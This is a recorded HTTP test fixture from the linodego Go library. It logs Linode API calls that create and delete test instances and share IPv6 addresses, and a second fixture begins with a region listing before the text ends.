'{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-range6","root_pass":"*0XME]})fz010k3f8R4\u003e7[x3[O2HPxE1s1z5k1/\\j|ts)Yh''i0RB8QQ\\K\u003cDz?o\u003eG","image":"linode/debian9","firewall_id":693087,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61876008, "label": "go-ins-test-range6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["176.58.103.22"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "53e4a52a1fc1e459ffa48d6d56b511ff54985871", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "804" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":61876008,"prefix_length":64}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ipv6/ranges method: POST response: body: '{"range": "1234::5678/64", "route_target": "1234::5678"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "86" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-share6","root_pass":"X:0/w?jb66:965W`BKplZ2`TUz1G:de,v=1z)e6*Y0N2L`BRKJ\\056*Z9xsvak)|","image":"linode/debian9","firewall_id":693087,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61876009, "label": "go-ins-test-share6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["176.58.103.36"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "e39dd600a15116b587da3a3dd6739ee859f04b82", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "804" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"ips":["1234::5678"],"linode_id":61876008}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/share method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"ips":["1234::5678"],"linode_id":61876009}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/share method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876009/ips method: GET response: body: '{"ipv4": {"public": [{"address": "176.58.103.36", "gateway": "176.58.103.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "176-58-103-36.ip.linodeusercontent.com", "linode_id": 61876009, "region": "eu-west", "vpc_nat_1_1": null}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 61876009, "region": "eu-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 61876009, "region": "eu-west", "public": false}, "global": [{"range": "1234::5678", "prefix": 64, "region": "eu-west", "route_target": null}]}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876009 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 'https://api.linode.com/v4beta/networking/ipv6/ranges/1234::5678' method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876008 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:42:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestImage_CloudInit.yaml000066400000000000000000001050731474652371000313120ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 